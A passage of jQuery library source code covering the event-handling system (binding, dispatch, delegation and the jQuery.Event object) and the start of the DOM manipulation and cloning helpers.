{\n\ttry {\n\t\treturn document.activeElement;\n\t} catch ( err ) { }\n}\n\nfunction on( elem, types, selector, data, fn, one ) {\n\tvar origFn, type;\n\n\t// Types can be a map of types/handlers\n\tif ( typeof types === \"object\" ) {\n\n\t\t// ( types-Object, selector, data )\n\t\tif ( typeof selector !== \"string\" ) {\n\n\t\t\t// ( types-Object, data )\n\t\t\tdata = data || selector;\n\t\t\tselector = undefined;\n\t\t}\n\t\tfor ( type in types ) {\n\t\t\ton( elem, type, selector, data, types[ type ], one );\n\t\t}\n\t\treturn elem;\n\t}\n\n\tif ( data == null && fn == null ) {\n\n\t\t// ( types, fn )\n\t\tfn = selector;\n\t\tdata = selector = undefined;\n\t} else if ( fn == null ) {\n\t\tif ( typeof selector === \"string\" ) {\n\n\t\t\t// ( types, selector, fn )\n\t\t\tfn = data;\n\t\t\tdata = undefined;\n\t\t} else {\n\n\t\t\t// ( types, data, fn )\n\t\t\tfn = data;\n\t\t\tdata = selector;\n\t\t\tselector = undefined;\n\t\t}\n\t}\n\tif ( fn === false ) {\n\t\tfn = returnFalse;\n\t} else if ( !fn ) {\n\t\treturn this;\n\t}\n\n\tif ( one === 1 ) {\n\t\torigFn = fn;\n\t\tfn = function( event ) {\n\n\t\t\t// Can use an empty set, since event contains the info\n\t\t\tjQuery().off( event );\n\t\t\treturn origFn.apply( this, arguments );\n\t\t};\n\n\t\t// Use same guid so caller can remove using origFn\n\t\tfn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );\n\t}\n\treturn elem.each( function() {\n\t\tjQuery.event.add( this, types, fn, data, selector );\n\t} );\n}\n\n/*\n * Helper functions for managing events -- not part of the public interface.\n * Props to Dean Edwards' addEvent library for many of the ideas.\n */\njQuery.event = {\n\n\tglobal: {},\n\n\tadd: function( elem, types, handler, data, selector ) {\n\n\t\tvar handleObjIn, eventHandle, tmp,\n\t\t\tevents, t, handleObj,\n\t\t\tspecial, handlers, type, namespaces, origType,\n\t\t\telemData = dataPriv.get( elem );\n\n\t\t// Don't attach events to noData or text/comment nodes (but allow plain objects)\n\t\tif ( !elemData ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Caller can pass in an object of custom data in lieu of the handler\n\t\tif ( handler.handler ) {\n\t\t\thandleObjIn = handler;\n\t\t\thandler = handleObjIn.handler;\n\t\t\tselector = handleObjIn.selector;\n\t\t}\n\n\t\t// Make sure that the handler has a unique ID, used to find/remove it later\n\t\tif ( !handler.guid ) {\n\t\t\thandler.guid = jQuery.guid++;\n\t\t}\n\n\t\t// Init the element's event structure and main handler, if this is the first\n\t\tif ( !( events = elemData.events ) ) {\n\t\t\tevents = elemData.events = {};\n\t\t}\n\t\tif ( !( eventHandle = elemData.handle ) ) {\n\t\t\teventHandle = elemData.handle = function( e ) {\n\n\t\t\t\t// Discard the second event of a jQuery.event.trigger() and\n\t\t\t\t// when an event is called after a page has unloaded\n\t\t\t\treturn typeof jQuery !== \"undefined\" && jQuery.event.triggered !== e.type ?\n\t\t\t\t\tjQuery.event.dispatch.apply( elem, arguments ) : undefined;\n\t\t\t};\n\t\t}\n\n\t\t// Handle multiple events separated by a space\n\t\ttypes = ( types || \"\" ).match( rnotwhite ) || [ \"\" ];\n\t\tt = types.length;\n\t\twhile ( t-- ) {\n\t\t\ttmp = rtypenamespace.exec( types[ t ] ) || [];\n\t\t\ttype = origType = tmp[ 1 ];\n\t\t\tnamespaces = ( tmp[ 2 ] || \"\" ).split( \".\" ).sort();\n\n\t\t\t// There *must* be a type, no attaching namespace-only handlers\n\t\t\tif ( !type ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// If event changes its type, use the special event handlers for the changed type\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\n\t\t\t// If selector defined, determine special event api type, otherwise given type\n\t\t\ttype = ( selector ? special.delegateType : special.bindType ) || type;\n\n\t\t\t// Update special based on newly reset type\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\n\t\t\t// handleObj is passed to all event handlers\n\t\t\thandleObj = jQuery.extend( {\n\t\t\t\ttype: type,\n\t\t\t\torigType: origType,\n\t\t\t\tdata: data,\n\t\t\t\thandler: handler,\n\t\t\t\tguid: handler.guid,\n\t\t\t\tselector: selector,\n\t\t\t\tneedsContext: selector && jQuery.expr.match.needsContext.test( selector ),\n\t\t\t\tnamespace: namespaces.join( \".\" )\n\t\t\t}, handleObjIn );\n\n\t\t\t// Init the event handler queue if we're the first\n\t\t\tif ( !( handlers = events[ type ] ) ) {\n\t\t\t\thandlers = events[ type ] = [];\n\t\t\t\thandlers.delegateCount = 0;\n\n\t\t\t\t// Only use addEventListener if the special events handler returns false\n\t\t\t\tif ( !special.setup ||\n\t\t\t\t\tspecial.setup.call( elem, data, namespaces, eventHandle ) === false ) {\n\n\t\t\t\t\tif ( elem.addEventListener ) {\n\t\t\t\t\t\telem.addEventListener( type, eventHandle );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( special.add ) {\n\t\t\t\tspecial.add.call( elem, handleObj );\n\n\t\t\t\tif ( !handleObj.handler.guid ) {\n\t\t\t\t\thandleObj.handler.guid = handler.guid;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add to the element's handler list, delegates in front\n\t\t\tif ( selector ) {\n\t\t\t\thandlers.splice( handlers.delegateCount++, 0, handleObj );\n\t\t\t} else {\n\t\t\t\thandlers.push( handleObj );\n\t\t\t}\n\n\t\t\t// Keep track of which events have ever been used, for event optimization\n\t\t\tjQuery.event.global[ type ] = true;\n\t\t}\n\n\t},\n\n\t// Detach an event or set of events from an element\n\tremove: function( elem, types, handler, selector, mappedTypes ) {\n\n\t\tvar j, origCount, tmp,\n\t\t\tevents, t, handleObj,\n\t\t\tspecial, handlers, type, namespaces, origType,\n\t\t\telemData = dataPriv.hasData( elem ) && dataPriv.get( elem );\n\n\t\tif ( !elemData || !( events = elemData.events ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Once for each type.namespace in types; type may be omitted\n\t\ttypes = ( types || \"\" ).match( rnotwhite ) || [ \"\" ];\n\t\tt = types.length;\n\t\twhile ( t-- ) {\n\t\t\ttmp = rtypenamespace.exec( types[ t ] ) || [];\n\t\t\ttype = origType = tmp[ 1 ];\n\t\t\tnamespaces = ( tmp[ 2 ] || \"\" ).split( \".\" ).sort();\n\n\t\t\t// Unbind all events (on this namespace, if provided) for the element\n\t\t\tif ( !type ) {\n\t\t\t\tfor ( type in events ) {\n\t\t\t\t\tjQuery.event.remove( elem, type + types[ t ], handler, selector, true );\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\t\t\ttype = ( selector ? special.delegateType : special.bindType ) || type;\n\t\t\thandlers = events[ type ] || [];\n\t\t\ttmp = tmp[ 2 ] &&\n\t\t\t\tnew RegExp( \"(^|\\\\.)\" + namespaces.join( \"\\\\.(?:.*\\\\.|)\" ) + \"(\\\\.|$)\" );\n\n\t\t\t// Remove matching events\n\t\t\torigCount = j = handlers.length;\n\t\t\twhile ( j-- ) {\n\t\t\t\thandleObj = handlers[ j ];\n\n\t\t\t\tif ( ( mappedTypes || origType === handleObj.origType ) &&\n\t\t\t\t\t( !handler || handler.guid === handleObj.guid ) &&\n\t\t\t\t\t( !tmp || tmp.test( handleObj.namespace ) ) &&\n\t\t\t\t\t( !selector || selector === handleObj.selector ||\n\t\t\t\t\t\tselector === \"**\" && handleObj.selector ) ) {\n\t\t\t\t\thandlers.splice( j, 1 );\n\n\t\t\t\t\tif ( handleObj.selector ) {\n\t\t\t\t\t\thandlers.delegateCount--;\n\t\t\t\t\t}\n\t\t\t\t\tif ( special.remove ) {\n\t\t\t\t\t\tspecial.remove.call( elem, handleObj );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Remove generic event handler if we removed something and no more handlers exist\n\t\t\t// (avoids potential for endless recursion during removal of special event handlers)\n\t\t\tif ( origCount && !handlers.length ) {\n\t\t\t\tif ( !special.teardown ||\n\t\t\t\t\tspecial.teardown.call( elem, namespaces, elemData.handle ) === false ) {\n\n\t\t\t\t\tjQuery.removeEvent( elem, type, elemData.handle );\n\t\t\t\t}\n\n\t\t\t\tdelete events[ type ];\n\t\t\t}\n\t\t}\n\n\t\t// Remove data and the expando if it's no longer used\n\t\tif ( jQuery.isEmptyObject( events ) ) {\n\t\t\tdataPriv.remove( elem, \"handle events\" );\n\t\t}\n\t},\n\n\tdispatch: function( event ) {\n\n\t\t// Make a writable jQuery.Event from the native event object\n\t\tevent = jQuery.event.fix( event );\n\n\t\tvar i, j, ret, matched, handleObj,\n\t\t\thandlerQueue = [],\n\t\t\targs = slice.call( arguments ),\n\t\t\thandlers = ( dataPriv.get( this, \"events\" ) || {} )[ event.type ] || [],\n\t\t\tspecial = jQuery.event.special[ event.type ] || {};\n\n\t\t// Use the fix-ed jQuery.Event rather than the (read-only) native event\n\t\targs[ 0 ] = event;\n\t\tevent.delegateTarget = this;\n\n\t\t// Call the preDispatch hook for the mapped type, and let it bail if desired\n\t\tif ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Determine handlers\n\t\thandlerQueue = jQuery.event.handlers.call( this, event, handlers );\n\n\t\t// Run delegates first; they may want to stop propagation beneath us\n\t\ti = 0;\n\t\twhile ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) {\n\t\t\tevent.currentTarget = matched.elem;\n\n\t\t\tj = 0;\n\t\t\twhile ( ( handleObj = matched.handlers[ j++ ] ) &&\n\t\t\t\t!event.isImmediatePropagationStopped() ) {\n\n\t\t\t\t// Triggered event must either 1) have no namespace, or 2) have namespace(s)\n\t\t\t\t// a subset or equal to those in the bound event (both can have no namespace).\n\t\t\t\tif ( !event.rnamespace || event.rnamespace.test( handleObj.namespace ) ) {\n\n\t\t\t\t\tevent.handleObj = handleObj;\n\t\t\t\t\tevent.data = handleObj.data;\n\n\t\t\t\t\tret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle ||\n\t\t\t\t\t\thandleObj.handler ).apply( matched.elem, args );\n\n\t\t\t\t\tif ( ret !== undefined ) {\n\t\t\t\t\t\tif ( ( event.result = ret ) === false ) {\n\t\t\t\t\t\t\tevent.preventDefault();\n\t\t\t\t\t\t\tevent.stopPropagation();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Call the postDispatch hook for the mapped type\n\t\tif ( special.postDispatch ) {\n\t\t\tspecial.postDispatch.call( this, event );\n\t\t}\n\n\t\treturn event.result;\n\t},\n\n\thandlers: function( event, handlers ) {\n\t\tvar i, matches, sel, handleObj,\n\t\t\thandlerQueue = [],\n\t\t\tdelegateCount = handlers.delegateCount,\n\t\t\tcur = event.target;\n\n\t\t// Support (at least): Chrome, IE9\n\t\t// Find delegate handlers\n\t\t// Black-hole SVG <use> instance trees (#13180)\n\t\t//\n\t\t// Support: Firefox<=42+\n\t\t// Avoid non-left-click in FF but don't block IE radio events (#3861, gh-2343)\n\t\tif ( delegateCount && cur.nodeType &&\n\t\t\t( event.type !== \"click\" || isNaN( event.button ) || event.button < 1 ) ) {\n\n\t\t\tfor ( ; cur !== this; cur = cur.parentNode || this ) {\n\n\t\t\t\t// Don't check non-elements (#13208)\n\t\t\t\t// Don't process clicks on disabled elements (#6911, #8165, #11382, #11764)\n\t\t\t\tif ( cur.nodeType === 1 && ( cur.disabled !== true || event.type !== \"click\" ) ) {\n\t\t\t\t\tmatches = [];\n\t\t\t\t\tfor ( i = 0; i < delegateCount; i++ ) {\n\t\t\t\t\t\thandleObj = handlers[ i ];\n\n\t\t\t\t\t\t// Don't conflict with Object.prototype properties (#13203)\n\t\t\t\t\t\tsel = handleObj.selector + \" \";\n\n\t\t\t\t\t\tif ( matches[ sel ] === undefined ) {\n\t\t\t\t\t\t\tmatches[ sel ] = handleObj.needsContext ?\n\t\t\t\t\t\t\t\tjQuery( sel, this ).index( cur ) > -1 :\n\t\t\t\t\t\t\t\tjQuery.find( sel, this, null, [ cur ] ).length;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ( matches[ sel ] ) {\n\t\t\t\t\t\t\tmatches.push( handleObj );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ( matches.length ) {\n\t\t\t\t\t\thandlerQueue.push( { elem: cur, handlers: matches } );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Add the remaining (directly-bound) handlers\n\t\tif ( delegateCount < handlers.length ) {\n\t\t\thandlerQueue.push( { elem: this, handlers: handlers.slice( delegateCount ) } );\n\t\t}\n\n\t\treturn handlerQueue;\n\t},\n\n\t// Includes some event props shared by KeyEvent and MouseEvent\n\tprops: ( \"altKey bubbles cancelable ctrlKey currentTarget detail eventPhase \" +\n\t\t\"metaKey relatedTarget shiftKey target timeStamp view which\" ).split( \" \" ),\n\n\tfixHooks: {},\n\n\tkeyHooks: {\n\t\tprops: \"char charCode key keyCode\".split( \" \" ),\n\t\tfilter: function( event, original ) {\n\n\t\t\t// Add which for key events\n\t\t\tif ( event.which == null ) {\n\t\t\t\tevent.which = original.charCode != null ? original.charCode : original.keyCode;\n\t\t\t}\n\n\t\t\treturn event;\n\t\t}\n\t},\n\n\tmouseHooks: {\n\t\tprops: ( \"button buttons clientX clientY offsetX offsetY pageX pageY \" +\n\t\t\t\"screenX screenY toElement\" ).split( \" \" ),\n\t\tfilter: function( event, original ) {\n\t\t\tvar eventDoc, doc, body,\n\t\t\t\tbutton = original.button;\n\n\t\t\t// Calculate pageX/Y if missing and clientX/Y available\n\t\t\tif ( event.pageX == null && original.clientX != null ) {\n\t\t\t\teventDoc = event.target.ownerDocument || document;\n\t\t\t\tdoc = eventDoc.documentElement;\n\t\t\t\tbody = eventDoc.body;\n\n\t\t\t\tevent.pageX = original.clientX +\n\t\t\t\t\t( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) -\n\t\t\t\t\t( doc && doc.clientLeft || body && body.clientLeft || 0 );\n\t\t\t\tevent.pageY = original.clientY +\n\t\t\t\t\t( doc && doc.scrollTop  || body && body.scrollTop  || 0 ) -\n\t\t\t\t\t( doc && doc.clientTop  || body && body.clientTop  || 0 );\n\t\t\t}\n\n\t\t\t// Add which for click: 1 === left; 2 === middle; 3 === right\n\t\t\t// Note: button is not normalized, so don't use it\n\t\t\tif ( !event.which && button !== undefined ) {\n\t\t\t\tevent.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) );\n\t\t\t}\n\n\t\t\treturn event;\n\t\t}\n\t},\n\n\tfix: function( event ) {\n\t\tif ( event[ jQuery.expando ] ) {\n\t\t\treturn event;\n\t\t}\n\n\t\t// Create a writable copy of the event object and normalize some properties\n\t\tvar i, prop, copy,\n\t\t\ttype = event.type,\n\t\t\toriginalEvent = event,\n\t\t\tfixHook = this.fixHooks[ type ];\n\n\t\tif ( !fixHook ) {\n\t\t\tthis.fixHooks[ type ] = fixHook =\n\t\t\t\trmouseEvent.test( type ) ? this.mouseHooks :\n\t\t\t\trkeyEvent.test( type ) ? this.keyHooks :\n\t\t\t\t{};\n\t\t}\n\t\tcopy = fixHook.props ? this.props.concat( fixHook.props ) : this.props;\n\n\t\tevent = new jQuery.Event( originalEvent );\n\n\t\ti = copy.length;\n\t\twhile ( i-- ) {\n\t\t\tprop = copy[ i ];\n\t\t\tevent[ prop ] = originalEvent[ prop ];\n\t\t}\n\n\t\t// Support: Cordova 2.5 (WebKit) (#13255)\n\t\t// All events should have a target; Cordova deviceready doesn't\n\t\tif ( !event.target ) {\n\t\t\tevent.target = document;\n\t\t}\n\n\t\t// Support: Safari 6.0+, Chrome<28\n\t\t// Target should not be a text node (#504, #13143)\n\t\tif ( event.target.nodeType === 3 ) {\n\t\t\tevent.target = event.target.parentNode;\n\t\t}\n\n\t\treturn fixHook.filter ? fixHook.filter( event, originalEvent ) : event;\n\t},\n\n\tspecial: {\n\t\tload: {\n\n\t\t\t// Prevent triggered image.load events from bubbling to window.load\n\t\t\tnoBubble: true\n\t\t},\n\t\tfocus: {\n\n\t\t\t// Fire native event if possible so blur/focus sequence is correct\n\t\t\ttrigger: function() {\n\t\t\t\tif ( this !== safeActiveElement() && this.focus ) {\n\t\t\t\t\tthis.focus();\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t},\n\t\t\tdelegateType: \"focusin\"\n\t\t},\n\t\tblur: {\n\t\t\ttrigger: function() {\n\t\t\t\tif ( this === safeActiveElement() && this.blur ) {\n\t\t\t\t\tthis.blur();\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t},\n\t\t\tdelegateType: \"focusout\"\n\t\t},\n\t\tclick: {\n\n\t\t\t// For checkbox, fire native event so checked state will be right\n\t\t\ttrigger: function() {\n\t\t\t\tif ( this.type === \"checkbox\" && this.click && jQuery.nodeName( this, \"input\" ) ) {\n\t\t\t\t\tthis.click();\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t},\n\n\t\t\t// For cross-browser consistency, don't fire native .click() on links\n\t\t\t_default: function( event ) {\n\t\t\t\treturn jQuery.nodeName( event.target, \"a\" );\n\t\t\t}\n\t\t},\n\n\t\tbeforeunload: {\n\t\t\tpostDispatch: function( event ) {\n\n\t\t\t\t// Support: Firefox 20+\n\t\t\t\t// Firefox doesn't alert if the returnValue field is not set.\n\t\t\t\tif ( event.result !== undefined && event.originalEvent ) {\n\t\t\t\t\tevent.originalEvent.returnValue = event.result;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n};\n\njQuery.removeEvent = function( elem, type, handle ) {\n\n\t// This \"if\" is needed for plain objects\n\tif ( elem.removeEventListener ) {\n\t\telem.removeEventListener( type, handle );\n\t}\n};\n\njQuery.Event = function( src, props ) {\n\n\t// Allow instantiation without the 'new' keyword\n\tif ( !( this instanceof jQuery.Event ) ) {\n\t\treturn new jQuery.Event( src, props );\n\t}\n\n\t// Event object\n\tif ( src && src.type ) {\n\t\tthis.originalEvent = src;\n\t\tthis.type = src.type;\n\n\t\t// Events bubbling up the document may have been marked as prevented\n\t\t// by a handler lower down the tree; reflect the correct value.\n\t\tthis.isDefaultPrevented = src.defaultPrevented ||\n\t\t\t\tsrc.defaultPrevented === undefined &&\n\n\t\t\t\t// Support: Android<4.0\n\t\t\t\tsrc.returnValue === false ?\n\t\t\treturnTrue :\n\t\t\treturnFalse;\n\n\t// Event type\n\t} else {\n\t\tthis.type = src;\n\t}\n\n\t// Put explicitly provided properties onto the event object\n\tif ( props ) {\n\t\tjQuery.extend( this, props );\n\t}\n\n\t// Create a timestamp if incoming event doesn't have one\n\tthis.timeStamp = src && src.timeStamp || jQuery.now();\n\n\t// Mark it as fixed\n\tthis[ jQuery.expando ] = true;\n};\n\n// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding\n// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html\njQuery.Event.prototype = {\n\tconstructor: jQuery.Event,\n\tisDefaultPrevented: returnFalse,\n\tisPropagationStopped: returnFalse,\n\tisImmediatePropagationStopped: returnFalse,\n\n\tpreventDefault: function() {\n\t\tvar e = this.originalEvent;\n\n\t\tthis.isDefaultPrevented = returnTrue;\n\n\t\tif ( e ) {\n\t\t\te.preventDefault();\n\t\t}\n\t},\n\tstopPropagation: function() {\n\t\tvar e = this.originalEvent;\n\n\t\tthis.isPropagationStopped = returnTrue;\n\n\t\tif ( e ) {\n\t\t\te.stopPropagation();\n\t\t}\n\t},\n\tstopImmediatePropagation: function() {\n\t\tvar e = this.originalEvent;\n\n\t\tthis.isImmediatePropagationStopped = returnTrue;\n\n\t\tif ( e ) {\n\t\t\te.stopImmediatePropagation();\n\t\t}\n\n\t\tthis.stopPropagation();\n\t}\n};\n\n// Create mouseenter/leave events using mouseover/out and event-time checks\n// so that event delegation works in jQuery.\n// Do the same for pointerenter/pointerleave and pointerover/pointerout\n//\n// Support: Safari 7 only\n// Safari sends mouseenter too often; see:\n// https://code.google.com/p/chromium/issues/detail?id=470258\n// for the description of the bug (it existed in older Chrome versions as well).\njQuery.each( {\n\tmouseenter: \"mouseover\",\n\tmouseleave: \"mouseout\",\n\tpointerenter: \"pointerover\",\n\tpointerleave: \"pointerout\"\n}, function( orig, fix ) {\n\tjQuery.event.special[ orig ] = {\n\t\tdelegateType: fix,\n\t\tbindType: fix,\n\n\t\thandle: function( event ) {\n\t\t\tvar ret,\n\t\t\t\ttarget = this,\n\t\t\t\trelated = event.relatedTarget,\n\t\t\t\thandleObj = event.handleObj;\n\n\t\t\t// For mouseenter/leave call the handler if related is outside the target.\n\t\t\t// NB: No relatedTarget if the mouse left/entered the browser window\n\t\t\tif ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) {\n\t\t\t\tevent.type = handleObj.origType;\n\t\t\t\tret = handleObj.handler.apply( this, arguments );\n\t\t\t\tevent.type = fix;\n\t\t\t}\n\t\t\treturn ret;\n\t\t}\n\t};\n} );\n\njQuery.fn.extend( {\n\ton: function( types, selector, data, fn ) {\n\t\treturn on( this, types, selector, data, fn );\n\t},\n\tone: function( types, selector, data, fn ) {\n\t\treturn on( this, types, selector, data, fn, 1 );\n\t},\n\toff: function( types, selector, fn ) {\n\t\tvar handleObj, type;\n\t\tif ( types && types.preventDefault && types.handleObj ) {\n\n\t\t\t// ( event )  dispatched jQuery.Event\n\t\t\thandleObj = types.handleObj;\n\t\t\tjQuery( types.delegateTarget ).off(\n\t\t\t\thandleObj.namespace ?\n\t\t\t\t\thandleObj.origType + \".\" + handleObj.namespace :\n\t\t\t\t\thandleObj.origType,\n\t\t\t\thandleObj.selector,\n\t\t\t\thandleObj.handler\n\t\t\t);\n\t\t\treturn this;\n\t\t}\n\t\tif ( typeof types === \"object\" ) {\n\n\t\t\t// ( types-object [, selector] )\n\t\t\tfor ( type in types ) {\n\t\t\t\tthis.off( type, selector, types[ type ] );\n\t\t\t}\n\t\t\treturn this;\n\t\t}\n\t\tif ( selector === false || typeof selector === \"function\" ) {\n\n\t\t\t// ( types [, fn] )\n\t\t\tfn = selector;\n\t\t\tselector = undefined;\n\t\t}\n\t\tif ( fn === false ) {\n\t\t\tfn = returnFalse;\n\t\t}\n\t\treturn this.each( function() {\n\t\t\tjQuery.event.remove( this, types, fn, selector );\n\t\t} );\n\t}\n} );\n\n\nvar\n\trxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:-]+)[^>]*)\\/>/gi,\n\n\t// Support: IE 10-11, Edge 10240+\n\t// In IE/Edge using regex groups here causes severe slowdowns.\n\t// See https://connect.microsoft.com/IE/feedback/details/1736512/\n\trnoInnerhtml = /<script|<style|<link/i,\n\n\t// checked=\"checked\" or checked\n\trchecked = /checked\\s*(?:[^=]|=\\s*.checked.)/i,\n\trscriptTypeMasked = /^true\\/(.*)/,\n\trcleanScript = /^\\s*<!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)>\\s*$/g;\n\nfunction manipulationTarget( elem, content ) {\n\tif ( jQuery.nodeName( elem, \"table\" ) &&\n\t\tjQuery.nodeName( content.nodeType !== 11 ? content : content.firstChild, \"tr\" ) ) {\n\n\t\treturn elem.getElementsByTagName( \"tbody\" )[ 0 ] || elem;\n\t}\n\n\treturn elem;\n}\n\n// Replace/restore the type attribute of script elements for safe DOM manipulation\nfunction disableScript( elem ) {\n\telem.type = ( elem.getAttribute( \"type\" ) !== null ) + \"/\" + elem.type;\n\treturn elem;\n}\nfunction restoreScript( elem ) {\n\tvar match = rscriptTypeMasked.exec( elem.type );\n\n\tif ( match ) {\n\t\telem.type = match[ 1 ];\n\t} else {\n\t\telem.removeAttribute( \"type\" );\n\t}\n\n\treturn elem;\n}\n\nfunction cloneCopyEvent( src, dest ) {\n\tvar i, l, type, pdataOld, pdataCur, udataOld, udataCur, events;\n\n\tif ( dest.nodeType !== 1 ) {\n\t\treturn;\n\t}\n\n\t// 1. Copy private data: events, handlers, etc.\n\tif ( dataPriv.hasData( src ) ) {\n\t\tpdataOld = dataPriv.access( src );\n\t\tpdataCur = dataPriv.set( dest, pdataOld );\n\t\tevents = pdataOld.events;\n\n\t\tif ( events ) {\n\t\t\tdelete pdataCur.handle;\n\t\t\tpdataCur.events = {};\n\n\t\t\tfor ( type in events ) {\n\t\t\t\tfor ( i = 0, l = events[ type ].length; i < l; i++ ) {\n\t\t\t\t\tjQuery.event.add( dest, type, events[ type ][ i ] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// 2. Copy user data\n\tif ( dataUser.hasData( src ) ) {\n\t\tudataOld = dataUser.access( src );\n\t\tudataCur = jQuery.extend( {}, udataOld );\n\n\t\tdataUser.set( dest, udataCur );\n\t}\n}\n\n// Fix IE bugs, see support tests\nfunction fixInput( src, dest ) {\n\tvar nodeName = dest.nodeName.toLowerCase();\n\n\t// Fails to persist the checked state of a cloned checkbox or radio button.\n\tif ( nodeName === \"input\" && rcheckableType.test( src.type ) ) {\n\t\tdest.checked = src.checked;\n\n\t// Fails to return the selected option to the default selected state when cloning options\n\t} else if ( nodeName === \"input\" || nodeName === \"textarea\" ) {\n\t\tdest.defaultValue = src.defaultValue;\n\t}\n}\n\nfunction domManip( collection, args, callback, ignored ) {\n\n\t// Flatten any nested arrays\n\targs = concat.apply( [], args );\n\n\tvar fragment, first, scripts, hasScripts, node, doc,\n\t\ti = 0,\n\t\tl = collection.length,\n\t\tiNoClone = l - 1,\n\t\tvalue = args[ 0 ],\n\t\tisFunction = jQuery.isFunction( value );\n\n\t// We can't cloneNode fragments that contain checked, in WebKit\n\tif ( isFunction ||\n\t\t\t( l > 1 && typeof value === \"string\" &&\n\t\t\t\t!support.checkClone && rchecked.test( value ) ) ) {\n\t\treturn collection.each( function( index ) {\n\t\t\tvar self = collection.eq( index );\n\t\t\tif ( isFunction ) {\n\t\t\t\targs[ 0 ] = value.call( this, index, self.html() );\n\t\t\t}\n\t\t\tdomManip( self, args, callback, ignored );\n\t\t} );\n\t}\n\n\tif ( l ) {\n\t\tfragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored );\n\t\tfirst = fragment.firstChild;\n\n\t\tif ( fragment.childNodes.length === 1 ) {\n\t\t\tfragment = first;\n\t\t}\n\n\t\t// Require either new content or an interest in ignored elements to invoke the callback\n\t\tif ( first || ignored ) {\n\t\t\tscripts = jQuery.map( getAll( fragment, \"script\" ), disableScript );\n\t\t\thasScripts = scripts.length;\n\n\t\t\t// Use the original fragment for the last item\n\t\t\t// instead of the first because it can end up\n\t\t\t// being emptied incorrectly in certain situations (#8070).\n\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\tnode = fragment;\n\n\t\t\t\tif ( i !== iNoClone ) {\n\t\t\t\t\tnode = jQuery.clone( node, true, true );\n\n\t\t\t\t\t// Keep references to cloned scripts for later restoration\n\t\t\t\t\tif ( hasScripts ) {\n\n\t\t\t\t\t\t// Support: Android<4.1, PhantomJS<2\n\t\t\t\t\t\t// push.apply(_, arraylike) throws on ancient WebKit\n\t\t\t\t\t\tjQuery.merge( scripts, getAll( node, \"script\" ) );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tcallback.call( collection[ i ], node, i );\n\t\t\t}\n\n\t\t\tif ( hasScripts ) {\n\t\t\t\tdoc = scripts[ scripts.length - 1 ].ownerDocument;\n\n\t\t\t\t// Reenable scripts\n\t\t\t\tjQuery.map( scripts, restoreScript );\n\n\t\t\t\t// Evaluate executable scripts on first document insertion\n\t\t\t\tfor ( i = 0; i < hasScripts; i++ ) {\n\t\t\t\t\tnode = scripts[ i ];\n\t\t\t\t\tif ( rscriptType.test( node.type || \"\" ) &&\n\t\t\t\t\t\t!dataPriv.access( node, \"globalEval\" ) &&\n\t\t\t\t\t\tjQuery.contains( doc, node ) ) {\n\n\t\t\t\t\t\tif ( node.src ) {\n\n\t\t\t\t\t\t\t// Optional AJAX dependency, but won't run scripts if not present\n\t\t\t\t\t\t\tif ( jQuery._evalUrl ) {\n\t\t\t\t\t\t\t\tjQuery._evalUrl( node.src );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tjQuery.globalEval( node.textContent.replace( rcleanScript, \"\" ) );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn collection;\n}\n\nfunction remove( elem, selector, keepData ) {\n\tvar node,\n\t\tnodes = selector ? jQuery.filter( selector, elem ) : elem,\n\t\ti = 0;\n\n\tfor ( ; ( node = nodes[ i ] ) != null; i++ ) {\n\t\tif ( !keepData && node.nodeType === 1 ) {\n\t\t\tjQuery.cleanData( getAll( node ) );\n\t\t}\n\n\t\tif ( node.parentNode ) {\n\t\t\tif ( keepData && jQuery.contains( node.ownerDocument, node ) ) {\n\t\t\t\tsetGlobalEval( getAll( node, \"script\" ) );\n\t\t\t}\n\t\t\tnode.parentNode.removeChild( node );\n\t\t}\n\t}\n\n\treturn elem;\n}\n\njQuery.extend( {\n\thtmlPrefilter: function( html ) {\n\t\treturn html.replace( rxhtmlTag, \"<$1></$2>\" );\n\t},\n\n\tclone: function( elem, dataAndEvents, deepDataAndEvents ) {\n\t\tvar i, l, srcElements, destElements,\n\t\t\tclone = elem.cloneNode( true ),\n\t\t\tinPage = jQuery.contains( elem.ownerDocument, elem );\n\n\t\t// Fix IE cloning issues\n\t\tif ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) 